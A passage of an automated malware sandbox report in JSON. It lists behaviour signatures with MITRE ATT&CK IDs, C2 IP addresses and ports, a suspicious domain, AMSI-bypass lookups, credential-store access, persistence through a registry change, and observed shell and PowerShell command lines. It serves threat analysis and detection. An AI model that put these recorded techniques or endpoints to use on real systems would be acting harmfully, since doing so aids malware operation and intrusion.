Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a webserver (HTTPS)","description":"$a4","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"Network Related","name":"Recently registered domain detected","description":"Recently Registered domain detected: \"t-launcher.site\" (6 days old). Commonly seen with phishing or other suspicious domains","origin":"Network Traffic","mitre_attack_id":"T1583.001","relevance":10,"id":"network-8601","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"malicious","category":"Network Related","name":"Sends network traffic on a port typically used by trojan horses","description":"\"Traffic to 213.142.159.116 on port 1604","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":9,"id":"network-12","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 221.14.182.99 on port 54002\n TCP traffic to 176.122.27.90 on port 9909\n TCP traffic to 176.122.27.90 on port 8888\n TCP traffic to 194.180.49.148 on port 8900\n TCP traffic to 139.199.157.76 on port 8000\n TCP traffic to 67.222.44.169 on port 8000\n TCP traffic to 185.208.159.182 on port 4782\n TCP traffic to 62.60.226.16 on port 5553\n TCP traffic to 172.245.27.131 on port 6000\n TCP traffic to 213.142.159.116 on port 1604","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"$a5","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtdllDefWindowProc_W@NTDLL.DLL at 00000000-00001088-23227-468-00D57E84\n NtdllDefWindowProc_W@NTDLL.DLL at 00000000-00001088-23227-633-00D5B52F\n NtdllDefWindowProc_W@NTDLL.DLL at 00000000-00001088-23227-3258-00DA1AC2\n NtdllDefWindowProc_A@NTDLL.DLL at 00000000-00000968-33623-648-004052CC\n NtdllDefWindowProc_A@NTDLL.DLL at 00000000-00000968-33623-649-00404F74\n NtdllDefWindowProc_A@NTDLL.DLL at 00000000-00000968-33623-650-00407318\n NtdllDefWindowProc_A@NTDLL.DLL at 00000000-00000968-33623-977-00407DB4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$a6","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$a7","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"somzx.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file packed with confuser protection","description":"Observed string: \"ConfusedByAttribute\" (Indicator: \"ConfusedByAttribute\") in Source: 00000000-00001896.00000001.72578.00843000.00000040.mdmp\n Observed string: \"Confuser.Core 1.6.0+447341964f\" (Indicator: \"Confuser.Core \") in Source: 00000000-00001896.00000001.72578.00843000.00000040.mdmp","origin":"File/Memory","mitre_attack_id":"T1027.002","relevance":1,"id":"string-232","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\pipe\\PSHost.133475696766430865.3272.DefaultAppDomain.powershell; Source: \"00000000-00003272-00000C52-89362438\")\n Found string - \\\\.\\pipe\\PSHost.133475596446423367.2816.DefaultAppDomain.powershell; Source: \"00000000-00002816-00000C52-115002108\")\n Found string - \\.\\PHYSICALDRIVE0; Source: \"00000000-00001896.00000001.72578.0ABA0000.00000004.mdmp\")\n Found string - \\\\.\\PHYSICALDRIVE0; Source: \"00000000-00001896.00000001.72578.0ABA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".themida\" is zero\n Raw size of \".bss\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".ndata\" is zero\n Raw size of \"UPX0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$a8","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/decrypt data using TripleDES","description":"Found reference to API \"TripleDESCryptoServiceProvider\" (Indicator: \"TripleDESCryptoServiceProvider\"; File: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")\n Found reference to API \"TripleDESCryptoServiceProvider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-486","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES decryption (Dotnet String)","description":"Observed string: \"System.Security.Cryptography.X509Certificates.AesGcm256.DecryptBlob\" in Source: 00000000-00001896.00000001.72578.00843000.00000040.mdmp\n Observed string: \"System.Security.Cryptography.AesFastEngine.StringDecrypt\" in Source: 00000000-00001896.00000001.72578.00843000.00000040.mdmp","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-445","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"file/memory contains long string with (Indicator: \" ^ \"; File: \"is-UFTV6.tmp\")\n file/memory contains long string with (Indicator: \" ^ \"; File: \"msgbox.tcl\")\n file/memory contains long string with (Indicator: \" ^ \"; File: \"fontchooser.tcl\")\n file/memory contains long string with (Indicator: \" ^ \"; File: \"scale.tcl\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Cryptographic Related","name":"Imports Crypto related APIs","description":"Observed import api \"CryptUnprotectData\" which can \"perform decryption and does an integrity check of the data\" [Source: rise.exe]","origin":"Static Parser","mitre_attack_id":"T1471","relevance":1,"id":"static-82","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"alex.exe\" called \"OpenMutexW\" with parameter \"yVeGABPblgLR\" - (UID: 00000000-00004944)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"select * from tbl_user where ID = '\" (Indicator: \"select * from \"; File: \"somzx.exe.3744122296\")\n Found string \"SELECT * FROM tbl_nhanvien WHERE MaNV='\" (Indicator: \"select * from \"; File: \"somzx.exe.3744122296\")\n Found string \"SELECT * FROM AntiSpyWareProduct\" (Indicator: \"select * from \"; Source: \"00000000-00001896.00000001.72578.037C0000.00000004.mdmp\")\n Found string \"SELECT * FROM FirewallProduct\" (Indicator: \"select * from \"; Source: \"00000000-00001896.00000001.72578.037C0000.00000004.mdmp, 00000000-00001896.00000001.72578.0ABA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"wlanext.exe.3735795350\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00000276.00000000.69632.00407000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00000276.00000000.69632.00409000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"$a9","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$aa","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00001896.00000001.72578.037C0000.00000004.mdmp\n Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00002712.00000000.77997.030F0000.00000004.mdmp\n 00000000-00002712.00000001.79917.030F0000.00000004.mdmp\n 00000000-00002712.00000002.81835.030F0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"tuc7.exe.1613712510\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00000276.00000000.69632.00409000.00000004.mdmp\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Queries list of installed browsers","description":"$ab","origin":"Registry Access","mitre_attack_id":"T1005","relevance":1,"id":"registry-137","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"* FROM Win32_Processor\" (Indicator: \" Win32_Process\"; File: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")\n Found string \"ELECT * FROM Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"spfasiazx.exe\"\n Report process \"WerFault.exe\" was created by \"RegSvcs.exe\"\n Report process \"WerFault.exe\" was created by \"vbmail.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"spfasiazx.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00000244)\n \"alex.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00004944)\n \"spfasiazx.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006536)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00003272)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00002816)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133475696766430865.3272.DefaultAppDomain.powershell\" - (UID: 00000000-00003272)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133475596446423367.2816.DefaultAppDomain.powershell\" - (UID: 00000000-00002816)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Can loads assembly that contains the code that is currently executing [Dotnet]","description":"Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; File: \"00000000-00001896.00000001.72578.00843000.00000040.mdmp\")\n Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"00000000-00001896.00000001.72578.00843000.00000040.mdmp\")\n Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp, 00000000-00002712.00000000.77997.00A42000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$ac","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"Win32API|Device Input and Output Functions|DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00001896.00000001.72578.0ABA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; File: \"wlanext.exe.3735795350\")\n Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00000276.00000000.69632.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to register hotkeys (API string)","description":"Found reference to API \"RegisterHotKey\" (Indicator: \"RegisterHotKey\"; File: \"00000000-00001896.00000001.72578.00843000.00000040.mdmp\")\n Found reference to API \"RegisterHotKey\" (Indicator: \"RegisterHotKey\"; Source: \"00000000-00001896.00000001.72578.00843000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.009","relevance":1,"id":"string-545","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"libcrypto-3.dll\" as clean (type is \"PE32+ executable (DLL) (GUI) x86-64 for MS Windows\"), Antivirus vendors marked dropped file \"tcl86t.dll\" as clean (type is \"PE32+ executable (DLL) (GUI) x86-64 for MS Windows\"), Antivirus vendors marked dropped file \"tk86t.dll\" as clean (type is \"PE32+ executable (DLL) (GUI) x86-64 for MS Windows\"), Antivirus vendors marked dropped file \"libssl-3.dll\" as clean (type is \"PE32+ executable (DLL) (GUI) x86-64 for MS Windows\"), Antivirus vendors marked dropped file \"cacert.pem\" as clean (type is \"ASCII text\"), Antivirus vendors marked dropped file \"VCRUNTIME140.dll\" as clean (type is \"PE32+ executable (DLL) (console) x86-64 for MS Windows\"), Antivirus vendors marked dropped file \"libffi-8.dll\" as clean (type is \"PE32+ executable (DLL) (GUI) x86-64 for MS Windows\"), Antivirus vendors marked dropped file \"_iscrypt.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.133475696766430865.3272.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.133475596446423367.2816.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"wlanext.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 6E3D0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"spfasiazx.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 6E560000\n \"alex.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 6E4D0000\n \"spfasiazx.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 70890000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 70890000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"$ad","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$ae","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"cmd /k cmd < Bathrooms & exit\" on 2023-12-20.22:43:57.037","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Installation/Persistence","name":"Modifies user shell folders registry key","description":"\"build3.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\USER SHELL FOLDERS\"; Key: \"STARTUP\"; Value: \"C:\\a\\\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":1,"id":"registry-144","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"PyInstaller file activity detected","description":"\"voice5.13sert.exe\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI80442\\Cryptodome\\Cipher\\_ARC4.pyd\"\n \"voice5.13sert.exe\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI80442\\Cryptodome\\Cipher\\_Salsa20.pyd\"\n \"voice5.13sert.exe\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI80442\\Cryptodome\\Cipher\\_chacha20.pyd\"\n \"voice5.13sert.exe\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI80442\\Cryptodome\\Cipher\\_pkcs1_decode.pyd\"\n \"voice5.13sert.exe\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI80442\\Cryptodome\\Cipher\\_raw_aes.pyd\"\n \"voice5.13sert.exe\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI80442\\Cryptodome\\Cipher\\_raw_aesni.pyd\"","origin":"API Call","mitre_attack_id":"T1059.006","relevance":1,"id":"api-211","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$af","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]","description":"Found reference to \"SmtpServer\" (Indicator: \"SmtpServer\"; File: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")\n Found reference to \"SMTPServer\" (Indicator: \"SmtpServer\"; File: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")\n Found reference to \"SmtpServer\" (Indicator: \"SmtpServer\"; Source: \"00000000-00002712.00000000.77997.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-618","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"$b0","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002560.00000001.71193.0335E000.00000004.mdmp, 00000000-00002560.00000002.73113.0335E000.00000004.mdmp\")\n Found string \"sdh39s/index.php HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002560.00000001.71193.0335E000.00000004.mdmp, 00000000-00002560.00000002.73113.0335E000.00000004.mdmp, 00000000-00002560.00000002.73113.033A7000.00000004.mdmp\")\n Found string \"POST /ghsdh39s/index.php HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002560.00000001.71193.0335E000.00000004.mdmp, 00000000-00002560.00000002.73113.0335E000.00000004.mdmp\")\n Found string \"Content-Length176POST /ghsdh39s/index.php HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002560.00000001.71193.0335E000.00000004.mdmp, 00000000-00002560.00000002.73113.0335E000.00000004.mdmp\")\n Found string \"Content-Length4POST /ghsdh39s/index.php HTTP/1.1D\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002560.00000002.73113.0335E000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Imports network management related APIs","description":"Observed import api \"NetGetDCName\" which can \"Returns the name of the primary domain controller (PDC).\" [Source: tcl86t.dll]\n Observed import api \"NetUserGetInfo\" which can \"Retrieves information about a particular user account on a server.\" [Source: tcl86t.dll]","origin":"Static Parser","mitre_attack_id":"T1087.001","relevance":1,"id":"static-85","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on process \"00000000-00003808\"\n YARA signature for AES encryption matched on file \"pyarmor_runtime.pyd\"\n YARA signature for AES encryption matched on file \"libcrypto-3.dll\"\n YARA signature for AES encryption matched on file \"_raw_aes.pyd\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detect powershell file matched on process \"00000000-00002816\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"tuc7.exe.1613712510\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"tuc7.exe.1613712510\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access Windows Vault","description":"$b1","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":1,"id":"string-627","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to get system information using PowerShell","description":"Process \"powershell.exe\" with commandline \"-windowstyle minimized $fe32 = Get-Content 